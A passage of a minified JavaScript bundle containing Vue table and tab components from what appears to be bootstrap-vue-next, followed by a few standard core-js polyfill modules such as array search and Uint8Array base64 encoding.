gap-2\"},ev=(0,a.Lk)(\"strong\",null,\"Loading...\",-1),tv={key:1,class:\"b-table-empty-slot\"},nv=[\"colspan\"],rv={key:0},av=[\"title\",\"abbr\",\"onClick\"],ov={key:1},iv={key:2},lv={key:3},sv=(0,a.pM)({__name:\"BTable\",props:{align:null,caption:null,captionTop:{default:!1},borderless:{default:!1},bordered:{default:!1},borderVariant:null,dark:{default:!1},fields:{default:()=>[]},footClone:{default:!1},hover:{default:!1},items:{default:()=>[]},provider:null,sortCompare:null,noProvider:null,noProviderPaging:null,noProviderSorting:null,noProviderFiltering:null,responsive:{type:[Boolean,String],default:!1},small:{default:!1},striped:{default:!1},variant:null,sortBy:null,sortDesc:{default:!1},sortInternal:{default:!0},selectable:{default:!1},stickySelect:{default:!1},selectHead:{type:[Boolean,String],default:!0},selectMode:{default:\"single\"},selectionVariant:{default:\"primary\"},stickyHeader:{default:!1},busy:{default:!1},showEmpty:{default:!1},perPage:null,currentPage:{default:1},filter:null,filterable:null,emptyText:{default:\"There are no records to show\"},emptyFilteredText:{default:\"There are no records matching your request\"}},emits:[\"headClicked\",\"rowClicked\",\"rowDblClicked\",\"rowHovered\",\"rowUnhovered\",\"rowSelected\",\"rowUnselected\",\"selection\",\"update:busy\",\"update:sortBy\",\"update:sortDesc\",\"sorted\",\"filtered\"],setup(e,{expose:t,emit:n}){const r=e,l=cu((0,o.lW)(r,\"footClone\")),s=cu((0,o.lW)(r,\"sortDesc\")),u=cu((0,o.lW)(r,\"sortInternal\")),d=cu((0,o.lW)(r,\"selectable\")),c=cu((0,o.lW)(r,\"stickySelect\")),f=cu((0,o.lW)(r,\"busy\")),p=cu((0,o.lW)(r,\"showEmpty\")),h=cu((0,o.lW)(r,\"showEmpty\")),v=cu((0,o.lW)(r,\"showEmpty\")),m=cu((0,o.lW)(r,\"showEmpty\")),g=(0,o.KR)(f.value),y=(0,a.Ht)(),b=(0,a.EW)(()=>({[`align-${r.align}`]:void 0!==r.align,\"b-table-selectable\":d.value,[`b-table-select-${r.selectMode}`]:d.value,\"b-table-selecting user-select-none\":d.value&&N.value,\"b-table-busy\":g.value,\"b-table-sortable\":B.value,\"b-table-sort-desc\":B.value&&!0===s.value,\"b-table-sort-asc\":B.value&&!1===s.value})),$=(0,a.EW)(()=>({bordered:r.bordered,borderless:r.borderless,borderVariant:r.borderVariant,captionTop:r.captionTop,dark:r.dark,hover:r.hover,responsive:r.responsive,striped:r.striped,small:r.small,tableClass:b.value,tableVariant:r.variant,stickyHeader:r.stickyHeader})),w=Hh();w.filterEvent.value=async e=>{if(x.value)return void await F();const t=await ps(e);n(\"filtered\",t)};const _=(0,a.EW)(()=>w.normaliseFields(r.fields,r.items)),k=(0,a.EW)(()=>_.value.length+(d.value?1:0)),C=(0,a.EW)(()=>void 0!==r.filter&&\"\"!==r.filter),x=(0,a.EW)(()=>void 0!==r.provider),S=(0,a.EW)(()=>B.value&&!0===u.value),E=(0,a.EW)(()=>x.value?w.internalItems.value:S.value?w.mapItems(r.fields,r.items,r,{isSortable:B,isFilterableTable:C,sortDescBoolean:s}):r.items),T=e=>\"string\"==typeof e?Es(e):void 0!==e.label?e.label:\"string\"==typeof e.key?Es(e.key):e.key,R=(e,t,r=!1)=>{const a=\"string\"==typeof e?e:e.key;n(\"headClicked\",a,e,t,r),P(e)},O=(e,t,r)=>{n(\"rowClicked\",e,t,r),j(e,t,r.shiftKey)},M=(e,t,r)=>n(\"rowDblClicked\",e,t,r),A=(e,t,r)=>n(\"rowHovered\",e,t,r),D=(e,t,r)=>n(\"rowUnhovered\",e,t,r),W=(0,a.EW)(()=>d.value&&(!!r.selectHead||void 0!==y.selectHead)),B=(0,a.EW)(()=>r.fields.filter(e=>\"string\"!=typeof e&&e.sortable).length>0),P=e=>{if(!B.value)return;const t=\"string\"==typeof e?e:e.key,a=\"string\"!=typeof e&&e.sortable;if(!0===B.value&&!0===a){const e=!s.value;t!==r.sortBy&&n(\"update:sortBy\",t),n(\"update:sortDesc\",e),n(\"sorted\",t,e)}},I=(0,o.KR)(new Set([])),N=(0,a.EW)(()=>I.value.size>0),L=()=>{!d.value||n(\"selection\",Array.from(I.value))},j=(e,t,a=!1)=>{if(d.value){if(I.value.has(e))I.value.delete(e),n(\"rowUnselected\",e);else if(\"single\"===r.selectMode&&I.value.size>0&&(I.value.forEach(e=>n(\"rowUnselected\",e)),I.value.clear()),\"range\"===r.selectMode&&I.value.size>0&&a){const e=Array.from(I.value).pop(),r=E.value.findIndex(t=>t===e),a=Math.min(r,t),o=Math.max(r,t);E.value.slice(a,o+1).forEach(e=>{I.value.has(e)||(I.value.add(e),n(\"rowSelected\",e))})}else I.value.add(e),n(\"rowSelected\",e);L()}},F=async()=>{if(!x.value||!r.provider||g.value)return;g.value=!0;const e=new Proxy({currentPage:r.currentPage,filter:r.filter,sortBy:r.sortBy,sortDesc:r.sortDesc,perPage:r.perPage},{get(e,t){return t in e?e[t]:void 0},set(){return console.error(\"BTable provider context is a read-only object.\"),!0}}),t=r.provider(e,w.updateInternalItems);if(void 0!==t){if(t instanceof Promise)try{const e=await t;return Array.isArray(e)?await w.updateInternalItems(e):void 0}finally{g.value&&(g.value=!1)}try{return await w.updateInternalItems(t)}finally{g.value&&(g.value=!1)}}},V=e=>{e._showDetails=!e._showDetails},U=e=>[e.class,e.thClass,e.variant?`table-${e.variant}`:void 0,{\"b-table-sortable-column\":B.value&&e.sortable,\"b-table-sticky-column\":e.stickyColumn}],X=(e,t)=>[e.class,e.tdClass,e.variant?`table-${e.variant}`:void 0,(null==t?void 0:t._cellVariants)&&(null==t?void 0:t._cellVariants[e.key])?`table-${null==t?void 0:t._cellVariants[e.key]}`:void 0,{\"b-table-sticky-column\":e.stickyColumn}],H=e=>[e._rowVariant?`table-${e._rowVariant}`:null,e._rowVariant?`table-${e._rowVariant}`:null,d.value&&I.value.has(e)?`selected table-${r.selectionVariant}`:null],G=()=>{if(!d.value)return;const e=I.value.size>0?Array.from(I.value):[];I.value=new Set([...E.value]),I.value.forEach(t=>{e.includes(t)||n(\"rowSelected\",t)}),L()},Y=()=>{!d.value||(I.value.forEach(e=>{n(\"rowUnselected\",e)}),I.value=new Set([]),L())},z=e=>{if(!d.value)return;const t=E.value[e];!t||I.value.has(t)||(I.value.add(t),n(\"rowSelected\",t),L())},K=e=>{if(!d.value)return;const t=E.value[e];!t||!I.value.has(t)||(I.value.delete(t),n(\"rowUnselected\",t),L())};(0,a.sV)(()=>{x.value&&F()}),(0,a.wB)(()=>r.filter,(e,t)=>{e===t||x.value||e||ps(r.items).then(e=>n(\"filtered\",e))});const q=async(e,t,n)=>{if(t===n)return;const a=e=>r.noProvider&&r.noProvider.includes(e),o=[\"currentPage\",\"perPage\"].includes(e)&&(a(\"paging\")||!0===h.value),i=[\"filter\"].includes(e)&&(a(\"filtering\")||!0===m.value),l=[\"sortBy\",\"sortDesc\"].includes(e)&&(a(\"sorting\")||!0===v.value);o||i||l||await F()};return(0,a.wB)(()=>g.value,()=>g.value!==f.value&&n(\"update:busy\",g.value)),(0,a.wB)(()=>f.value,()=>g.value!==f.value&&(g.value=f.value)),(0,a.wB)(()=>r.filter,(e,t)=>q(\"filter\",e,t)),(0,a.wB)(()=>r.currentPage,(e,t)=>q(\"currentPage\",e,t)),(0,a.wB)(()=>r.perPage,(e,t)=>q(\"perPage\",e,t)),(0,a.wB)(()=>r.sortBy,(e,t)=>q(\"sortBy\",e,t)),(0,a.wB)(()=>r.sortDesc,(e,t)=>q(\"sortDesc\",e,t)),t({selectAllRows:G,clearSelected:Y,selectRow:z,unselectRow:K}),(t,n)=>((0,a.uX)(),(0,a.Wv)(_h,(0,i._B)((0,a.Ng)((0,o.R1)($))),{default:(0,a.k6)(()=>{var n;return[(0,a.Lk)(\"thead\",null,[t.$slots[\"thead-top\"]?(0,a.RG)(t.$slots,\"thead-top\",{key:0}):(0,a.Q3)(\"\",!0),(0,a.Lk)(\"tr\",null,[(0,o.R1)(W)?((0,a.uX)(),(0,a.CE)(\"th\",{key:0,class:(0,i.C4)([\"b-table-selection-column\",{\"b-table-sticky-column\":(0,o.R1)(c)}])},[(0,a.RG)(t.$slots,\"select-head\",{},()=>[(0,a.eW)((0,i.v_)(\"boolean\"==typeof e.selectHead?\"Selected\":e.selectHead),1)])],2)):(0,a.Q3)(\"\",!0),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(_),n=>((0,a.uX)(),(0,a.CE)(\"th\",(0,a.v6)({key:n.key,scope:\"col\",class:U(n),title:n.headerTitle,abbr:n.headerAbbr,style:n.thStyle},n.thAttr,{onClick:e=>R(n,e)}),[(0,a.Lk)(\"div\",Yh,[(0,a.RG)(t.$slots,\"sort-icon\",{field:n,sortBy:e.sortBy,selected:n.key===e.sortBy,isDesc:(0,o.R1)(s),direction:(0,o.R1)(s)?\"desc\":\"asc\"},()=>[(0,o.R1)(B)&&n.sortable&&n.key===e.sortBy?((0,a.uX)(),(0,a.CE)(\"span\",zh)):(0,a.Q3)(\"\",!0)]),(0,a.Lk)(\"div\",null,[t.$slots[\"head(\"+n.key+\")\"]||t.$slots[\"head()\"]?(0,a.RG)(t.$slots,t.$slots[\"head(\"+n.key+\")\"]?\"head(\"+n.key+\")\":\"head()\",{key:0,label:n.label}):((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.eW)((0,i.v_)(T(n)),1)],64))])])],16,Gh))),128))]),t.$slots[\"thead-sub\"]?((0,a.uX)(),(0,a.CE)(\"tr\",Kh,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(_),e=>((0,a.uX)(),(0,a.CE)(\"td\",{key:e.key,scope:\"col\",class:(0,i.C4)([e.class,e.thClass,e.variant?`table-${e.variant}`:\"\"])},[t.$slots[\"thead-sub\"]?(0,a.RG)(t.$slots,\"thead-sub\",(0,a.v6)({key:0,items:(0,o.R1)(_)},e)):((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.eW)((0,i.v_)(e.label),1)],64))],2))),128))])):(0,a.Q3)(\"\",!0)]),(0,a.Lk)(\"tbody\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(E),(n,r)=>((0,a.uX)(),(0,a.CE)(a.FK,{key:r},[(0,a.Lk)(\"tr\",{class:(0,i.C4)(H(n)),onClick:e=>O(n,r,e),onDblclick:e=>M(n,r,e),onMouseenter:e=>A(n,r,e),onMouseleave:e=>D(n,r,e)},[(0,o.R1)(W)?((0,a.uX)(),(0,a.CE)(\"td\",{key:0,class:(0,i.C4)([\"b-table-selection-column\",{\"b-table-sticky-column\":(0,o.R1)(c)}])},[(0,a.RG)(t.$slots,\"select-cell\",{},()=>[(0,a.Lk)(\"span\",{class:(0,i.C4)(I.value.has(n)?\"text-primary\":\"\")},\"🗹\",2)])],2)):(0,a.Q3)(\"\",!0),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(_),o=>((0,a.uX)(),(0,a.CE)(\"td\",(0,a.v6)({key:o.key},o.tdAttr,{class:X(o,n)}),[t.$slots[\"cell(\"+o.key+\")\"]||t.$slots[\"cell()\"]?(0,a.RG)(t.$slots,t.$slots[\"cell(\"+o.key+\")\"]?\"cell(\"+o.key+\")\":\"cell()\",{key:0,value:n[o.key],index:r,item:n,field:o,items:e.items,toggleDetails:()=>V(n),detailsShowing:n._showDetails}):((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.eW)((0,i.v_)(n[o.key]),1)],64))],16))),128))],42,qh),!0===n._showDetails&&t.$slots[\"row-details\"]?((0,a.uX)(),(0,a.CE)(\"tr\",{key:0,class:(0,i.C4)(H(n))},[(0,a.Lk)(\"td\",{colspan:(0,o.R1)(k)},[(0,a.RG)(t.$slots,\"row-details\",{item:n,toggleDetails:()=>V(n)})],8,Qh)],2)):(0,a.Q3)(\"\",!0)],64))),128)),g.value?((0,a.uX)(),(0,a.CE)(\"tr\",{key:0,class:(0,i.C4)([\"b-table-busy-slot\",{\"b-table-static-busy\":0==(0,o.R1)(E).length}])},[(0,a.Lk)(\"td\",{colspan:(0,o.R1)(k)},[(0,a.RG)(t.$slots,\"table-busy\",{},()=>[(0,a.Lk)(\"div\",Jh,[(0,a.bF)(Od,{class:\"align-middle\"}),ev])])],8,Zh)],2)):(0,a.Q3)(\"\",!0),(0,o.R1)(p)&&0===(0,o.R1)(E).length?((0,a.uX)(),(0,a.CE)(\"tr\",tv,[(0,a.Lk)(\"td\",{colspan:(0,o.R1)(k)},[(0,a.RG)(t.$slots,\"empty\",{items:(0,o.R1)(E),filtered:(0,o.R1)(C)},()=>[(0,a.eW)((0,i.v_)((0,o.R1)(C)?e.emptyFilteredText:e.emptyText),1)])],8,nv)])):(0,a.Q3)(\"\",!0)]),(0,o.R1)(l)?((0,a.uX)(),(0,a.CE)(\"tfoot\",rv,[(0,a.Lk)(\"tr\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(_),e=>((0,a.uX)(),(0,a.CE)(\"th\",(0,a.v6)({key:e.key},e.thAttr,{scope:\"col\",class:[e.class,e.thClass,e.variant?`table-${e.variant}`:\"\"],title:e.headerTitle,abbr:e.headerAbbr,style:e.thStyle,onClick:t=>R(e,t,!0)}),(0,i.v_)(e.label),17,av))),128))])])):t.$slots[\"custom-foot\"]?((0,a.uX)(),(0,a.CE)(\"tfoot\",ov,[(0,a.RG)(t.$slots,\"custom-foot\",{fields:(0,o.R1)(_),items:e.items,columns:null==(n=(0,o.R1)(_))?void 0:n.length})])):(0,a.Q3)(\"\",!0),t.$slots[\"table-caption\"]?((0,a.uX)(),(0,a.CE)(\"caption\",iv,[(0,a.RG)(t.$slots,\"table-caption\")])):e.caption?((0,a.uX)(),(0,a.CE)(\"caption\",lv,(0,i.v_)(e.caption),1)):(0,a.Q3)(\"\",!0)]}),_:3},16))}}),uv=(0,a.pM)({__name:\"BTbody\",props:{variant:null},setup(e){const t=e,n=(0,a.EW)(()=>({[`thead-${t.variant}`]:void 0!==t.variant}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"tbody\",{role:\"rowgroup\",class:(0,i.C4)((0,o.R1)(n))},[(0,a.RG)(e.$slots,\"default\")],2))}}),dv=[\"scope\",\"colspan\",\"rowspan\",\"data-label\"],cv={key:0},fv=(0,a.pM)({__name:\"BTd\",props:{colspan:null,rowspan:null,stackedHeading:null,stickyColumn:{default:!1},variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"stickyColumn\")),r=(0,a.EW)(()=>({[`table-${t.variant}`]:void 0!==t.variant,\"b-table-sticky-column\":n.value,\"table-b-table-default\":n.value&&!t.variant})),l=(0,a.EW)(()=>t.colspan?\"colspan\":t.rowspan?\"rowspan\":\"col\");return(t,n)=>((0,a.uX)(),(0,a.CE)(\"td\",{role:\"cell\",scope:(0,o.R1)(l),class:(0,i.C4)((0,o.R1)(r)),colspan:e.colspan,rowspan:e.rowspan,\"data-label\":e.stackedHeading},[e.stackedHeading?((0,a.uX)(),(0,a.CE)(\"div\",cv,[(0,a.RG)(t.$slots,\"default\")])):(0,a.RG)(t.$slots,\"default\",{key:1})],10,dv))}}),pv=(0,a.pM)({__name:\"BTfoot\",props:{variant:null},setup(e){const t=e,n=(0,a.EW)(()=>({[`table-${t.variant}`]:void 0!==t.variant}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"tfoot\",{role:\"rowgroup\",class:(0,i.C4)((0,o.R1)(n))},[(0,a.RG)(e.$slots,\"default\")],2))}}),hv=[\"scope\",\"colspan\",\"rowspan\",\"data-label\"],vv={key:0},mv=(0,a.pM)({__name:\"BTh\",props:{colspan:null,rowspan:null,stackedHeading:null,stickyColumn:{default:!1},variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"stickyColumn\")),r=(0,a.EW)(()=>({[`table-${t.variant}`]:void 0!==t.variant,\"b-table-sticky-column\":n.value,\"table-b-table-default\":n.value&&void 0===t.variant})),l=(0,a.EW)(()=>t.colspan?\"colspan\":t.rowspan?\"rowspan\":\"col\");return(t,n)=>((0,a.uX)(),(0,a.CE)(\"th\",{role:\"columnheader\",scope:(0,o.R1)(l),class:(0,i.C4)((0,o.R1)(r)),colspan:e.colspan,rowspan:e.rowspan,\"data-label\":e.stackedHeading},[void 0!==e.stackedHeading?((0,a.uX)(),(0,a.CE)(\"div\",vv,[(0,a.RG)(t.$slots,\"default\")])):(0,a.RG)(t.$slots,\"default\",{key:1})],10,hv))}}),gv=(0,a.pM)({__name:\"BThead\",props:{variant:null},setup(e){const t=e,n=(0,a.EW)(()=>({[`table-${t.variant}`]:void 0!==t.variant}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"thead\",{role:\"rowgroup\",class:(0,i.C4)((0,o.R1)(n))},[(0,a.RG)(e.$slots,\"default\")],2))}}),yv=(0,a.pM)({__name:\"BTr\",props:{variant:null},setup(e){const t=e,n=(0,a.EW)(()=>({[`table-${t.variant}`]:void 0!==t.variant}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"tr\",{role:\"row\",class:(0,i.C4)((0,o.R1)(n))},[(0,a.RG)(e.$slots,\"default\")],2))}}),bv=[\"id\",\"data-bs-target\",\"aria-controls\",\"aria-selected\",\"onClick\"],$v=Symbol(),wv=(0,a.pM)({__name:\"BTabs\",props:{activeNavItemClass:null,activeTabClass:null,align:null,card:{default:!1},contentClass:null,end:{default:!1},fill:{default:!1},id:null,justified:{default:!1},lazy:{default:!1},navClass:null,navWrapperClass:null,noFade:{default:!1},noNavStyle:{default:!1},pills:{default:!1},small:{default:!1},tag:{default:\"div\"},vertical:{default:!1},modelValue:{default:-1}},emits:[\"update:modelValue\",\"activate-tab\",\"click\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"card\")),s=cu((0,o.lW)(n,\"end\")),u=cu((0,o.lW)(n,\"fill\")),d=cu((0,o.lW)(n,\"justified\")),c=cu((0,o.lW)(n,\"lazy\")),f=cu((0,o.lW)(n,\"noFade\")),p=cu((0,o.lW)(n,\"noNavStyle\")),h=cu((0,o.lW)(n,\"pills\")),v=cu((0,o.lW)(n,\"small\")),m=cu((0,o.lW)(n,\"vertical\")),g=(0,a.Ht)(),y=(0,o.KR)(n.modelValue),b=(0,o.KR)(\"\"),$=(0,a.EW)({get:()=>y.value,set:e=>{y.value=e,w.value.length>0&&e>=0&&e\u003Cw.value.length?b.value=w.value[e].buttonId:b.value=\"\",t(\"update:modelValue\",e)}}),w=(0,a.EW)(()=>{let e=[];return g.default&&(e=E(g).map((e,t)=>{e.props||(e.props={});const r=e.props[\"button-id\"]||Js(\"tab\"),a=e.props.id||Js(),o=$.value>-1?t===$.value:\"\"===e.props.active,i=e.props[\"title-item-class\"],l=e.props[\"title-link-attributes\"];return{buttonId:r,contentId:a,active:o,disabled:\"\"===e.props.disabled||!0===e.props.disabled,navItemClasses:[{active:o,disabled:\"\"===e.props.disabled||!0===e.props.disabled},o&&n.activeNavItemClass?n.activeNavItemClass:null,e.props[\"title-link-class\"]],tabClasses:[{fade:!f.value},o&&n.activeTabClass?n.activeTabClass:null],target:`#${a}`,title:e.props.title,titleItemClass:i,titleLinkAttributes:l,onClick:e.props.onClick,tab:e}})),e}),_=(0,a.EW)(()=>!((null==w?void 0:w.value)&&w.value.length>0)),k=(0,a.EW)(()=>({\"d-flex\":m.value,\"align-items-start\":m.value})),C=(0,a.EW)(()=>({\"nav-pills\":h.value,\"flex-column me-3\":m.value,[`justify-content-${n.align}`]:void 0!==n.align,\"nav-fill\":u.value,\"card-header-tabs\":r.value,\"nav-justified\":d.value,\"nav-tabs\":!p.value&&!h.value,small:v.value})),x=e=>{let r=!1;if(void 0!==e&&e>-1&&e\u003Cw.value.length&&!w.value[e].disabled&&($.value\u003C0||w.value[e].buttonId!==b.value)){const n=new hs(\"activate-tab\",{cancelable:!0,vueTarget:this});t(\"activate-tab\",e,$.value,n),n.defaultPrevented||($.value=e,r=!0)}return!r&&n.modelValue!==$.value&&t(\"update:modelValue\",$.value),r},S=(e,t)=>{var n;x(t),t>=0&&!w.value[t].disabled&&(null==(n=w.value[t])?void 0:n.onClick)&&\"function\"==typeof w.value[t].onClick&&w.value[t].onClick(e)},E=e=>e&&e.default?e.default().reduce((e,t)=>(\"symbol\"==typeof t.type?e=e.concat(t.children):e.push(t),e),[]).filter(e=>{var t;return\"BTab\"===(null==(t=e.type)?void 0:t.__name)}):[];return x(y.value),(0,a.wB)(()=>n.modelValue,(e,t)=>{if(e===t)return;if(e=Math.max(e,-1),t=Math.max(t,-1),w.value.length\u003C=0)return void($.value=-1);const n=e>t;let r=e;const a=w.value.length-1;for(;r>=0&&r\u003C=a&&w.value[r].disabled;)r+=n?1:-1;r\u003C0?x(0):r>=w.value.length?x(w.value.length-1):x(r)}),(0,a.wB)(()=>w.value,()=>{let e=w.value.map(e=>e.active&&!e.disabled).lastIndexOf(!0);e\u003C0&&($.value>=w.value.length?e=w.value.map(e=>!e.disabled).lastIndexOf(!0):w.value[$.value]&&!w.value[$.value].disabled&&(e=$.value)),e\u003C0&&(e=w.value.map(e=>!e.disabled).indexOf(!0)),w.value.forEach((t,n)=>t.active=n===e),x(e)}),(0,a.sV)(()=>{if($.value\u003C0&&w.value.length>0&&!w.value.some(e=>e.active)){const e=w.value.map(e=>!e.disabled).indexOf(!0);x(e>=0?e:-1)}}),(0,a.Gt)($v,{lazy:c.value,card:r.value}),(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{id:e.id,class:(0,i.C4)([\"tabs\",(0,o.R1)(k)])},{default:(0,a.k6)(()=>[(0,o.R1)(s)?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:(0,i.C4)([\"tab-content\",e.contentClass])},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(w),({tab:e,contentId:t,tabClasses:n,active:r},o)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e),{id:t,key:o,class:(0,i.C4)(n),active:r},null,8,[\"id\",\"class\",\"active\"]))),128)),(0,o.R1)(_)?((0,a.uX)(),(0,a.CE)(\"div\",{key:\"bv-empty-tab\",class:(0,i.C4)([\"tab-pane active\",{\"card-body\":(0,o.R1)(r)}])},[(0,a.RG)(t.$slots,\"empty\")],2)):(0,a.Q3)(\"\",!0)],2)):(0,a.Q3)(\"\",!0),(0,a.Lk)(\"div\",{class:(0,i.C4)([e.navWrapperClass,{\"card-header\":(0,o.R1)(r),\"ms-auto\":e.vertical&&(0,o.R1)(s)}])},[(0,a.Lk)(\"ul\",{class:(0,i.C4)([\"nav\",[(0,o.R1)(C),e.navClass]]),role:\"tablist\"},[(0,a.RG)(t.$slots,\"tabs-start\"),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(w),({tab:e,buttonId:t,contentId:n,navItemClasses:r,active:o,target:s},u)=>((0,a.uX)(),(0,a.CE)(\"li\",{key:u,class:(0,i.C4)([\"nav-item\",e.props[\"title-item-class\"]])},[(0,a.Lk)(\"button\",(0,a.v6)({id:t,class:[\"nav-link\",r],\"data-bs-toggle\":\"tab\",\"data-bs-target\":s,role:\"tab\",\"aria-controls\":n,\"aria-selected\":o},e.props[\"title-link-attributes\"],{onClick:(0,l.D$)(e=>S(e,u),[\"stop\",\"prevent\"])}),[e.children&&e.children.title?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.children.title),{key:0})):((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.eW)((0,i.v_)(e.props.title),1)],64))],16,bv)],2))),128)),(0,a.RG)(t.$slots,\"tabs-end\")],2)],2),(0,o.R1)(s)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(\"div\",{key:1,class:(0,i.C4)([\"tab-content\",e.contentClass])},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(w),({tab:e,contentId:t,tabClasses:n,active:r},o)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e),{id:t,key:o,class:(0,i.C4)(n),active:r},null,8,[\"id\",\"class\",\"active\"]))),128)),(0,o.R1)(_)?((0,a.uX)(),(0,a.CE)(\"div\",{key:\"bv-empty-tab\",class:(0,i.C4)([\"tab-pane active\",{\"card-body\":(0,o.R1)(r)}])},[(0,a.RG)(t.$slots,\"empty\")],2)):(0,a.Q3)(\"\",!0)],2))]),_:3},8,[\"id\",\"class\"]))}}),_v=(0,a.pM)({__name:\"BTab\",props:{id:null,title:null,active:{default:!1},buttonId:{default:void 0},disabled:{default:!1},lazy:{default:void 0},lazyOnce:{default:void 0},noBody:{type:[Boolean,String],default:!1},tag:{default:\"div\"},titleItemClass:{default:void 0},titleLinkAttributes:{default:void 0},titleLinkClass:{default:void 0}},setup(e){const t=e,n=(0,o.KR)(!1),r=cu((0,o.lW)(t,\"active\")),l=cu((0,o.lW)(t,\"disabled\")),s=cu((0,o.lW)(t,void 0!==t.lazyOnce?\"lazyOnce\":\"lazy\")),u=(0,a.WQ)($v,null),d=(0,a.EW)(()=>(null==u?void 0:u.lazy)||s.value),c=(0,a.EW)(()=>void 0!==t.lazyOnce),f=(0,a.EW)(()=>r.value&&!l.value),p=(0,a.EW)(()=>{const e=d.value&&c.value&&n.value;return f.value||!d.value||e}),h=(0,a.EW)(()=>({active:r.value,show:r.value,\"card-body\":(null==u?void 0:u.card)&&!1===t.noBody}));return(0,a.wB)(()=>p.value,e=>{e&&!n.value&&(n.value=!0)}),(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{id:e.id,class:(0,i.C4)([\"tab-pane\",(0,o.R1)(h)]),role:\"tabpanel\",\"aria-labelledby\":\"profile-tab\"},{default:(0,a.k6)(()=>[(0,o.R1)(p)?(0,a.RG)(t.$slots,\"default\",{key:0}):(0,a.Q3)(\"\",!0)]),_:3},8,[\"id\",\"class\"]))}}),kv={BAccordion:Du,BAccordionItem:nd,BNavText:Up,BAlert:od,BAvatar:fd,BAvatarGroup:ld,BNavForm:Bp,BBadge:wd,BBreadcrumb:Td,BBreadcrumbItem:xd,BButton:Dd,BButtonGroup:Wd,BButtonToolbar:Pd,BCard:Gd,BCardBody:Xd,BCardFooter:Hd,BCardGroup:Yd,BCardHeader:Fd,BCardImg:Nd,BCardSubtitle:Ud,BCardText:zd,BCardTitle:Vd,BCarousel:ic,BCarouselSlide:fc,BCloseButton:ad,BCol:yc,BCollapse:Wu,BContainer:Dc,BDropdown:Pc,BDropdownDivider:Nc,BDropdownForm:Uc,BDropdownGroup:Yc,BDropdownHeader:Qc,BDropdownItem:Jc,BDropdownItemButton:tf,BDropdownText:af,BForm:lf,BFormCheckbox:yf,BFormCheckboxGroup:_f,BFormFloatingLabel:df,BFormGroup:Mf,BFormInput:Pf,BFormInvalidFeedback:cf,BFormRadio:Lf,BFormRadioGroup:Uf,BFormRow:ff,BFormSelect:Kf,BFormSelectOption:Hf,BFormSelectOptionGroup:Yf,BFormText:pf,BFormTextarea:vp,BFormTag:Qf,BFormTags:cp,BFormValidFeedback:hf,BImg:Id,BInputGroup:_p,BInputGroupAddon:Cp,BInputGroupAppend:xp,BInputGroupPrepend:Sp,BInputGroupText:kp,BLink:gd,BListGroup:Tp,BListGroupItem:Rp,BModal:Dp,BNav:Wp,BNavbar:Xp,BNavbarBrand:zp,BNavbarNav:Kp,BNavbarToggle:Qp,BNavItem:Lp,BNavItemDropdown:Fp,BOffcanvas:rh,BOverlay:ah,BPagination:yh,BPlaceholder:bh,BPlaceholderButton:$h,BPlaceholderCard:wh,BPlaceholderTable:kh,BPlaceholderWrapper:Ch,BPopover:Oh,BProgress:Wh,BProgressBar:Ah,BRow:Nh,BSkeleton:Lh,BSkeletonIcon:jh,BSkeletonTable:Uh,BSkeletonWrapper:Xh,BSpinner:Od,BTab:_v,BTable:sv,BTableSimple:_h,BTbody:uv,BTd:fv,BTfoot:pv,BTh:mv,BThead:gv,BTr:yv,BToast:_c,BToaster:kc,BToastContainer:kc,BTabs:wv,BTransition:bc,BToastPlugin:Ac},Cv={install(e,t={}){Object.entries(kv).forEach(([t,n])=>{e.component(t,n)}),Object.entries(Qu).forEach(([t,n])=>{e.directive(t,n)}),hu(e)}}},9617:function(e,t,n){\"use strict\";var r=n(5397),a=n(5610),o=n(6198),i=function(e){return function(t,n,i){var l,s=r(t),u=o(s),d=a(i,u);if(e&&n!==n){while(u>d)if(l=s[d++],l!==l)return!0}else for(;u>d;d++)if((e||d in s)&&s[d]===n)return e||d||0;return!e&&-1}};e.exports={includes:i(!0),indexOf:i(!1)}},9631:function(e,t,n){\"use strict\";var r=n(6518),a=n(4475),o=n(9504),i=n(1591),l=n(4154),s=n(2804),u=n(944),d=s.i2c,c=s.i2cUrl,f=a.Uint8Array,p=o(\"\".charAt);f&&r({target:\"Uint8Array\",proto:!0,forced:!0},{toBase64:function(){for(var e,t=l(this),n=arguments.length?i(arguments[0]):void 0,r=\"base64\"===u(n)?d:c,a=\"\",o=0,s=t.length,f=function(t){return p(r,e>>6*t&63)};o+2\u003Cs;o+=3)e=(t[o]\u003C\u003C16)+(t[o+1]\u003C\u003C8)+t[o+2],a+=f(3)+f(2)+f(1)+f(0);return o+2===s?(e=(t[o]\u003C\u003C16)+(t[o+1]\u003C\u003C8),a+=f(3)+f(2)+f(1)+\"=\"):o+1===s&&(e=t[o]\u003C\u003C16,a+=f(3)+f(2)+\"==\"),a}})},9714:function(e,t,n){\"use strict\";var r=n(9088);e.exports=function(e){try{if(r)return Function('return require(\"'+e+'\")')()}catch(t){}}},9848:function(e,t,n){\"use 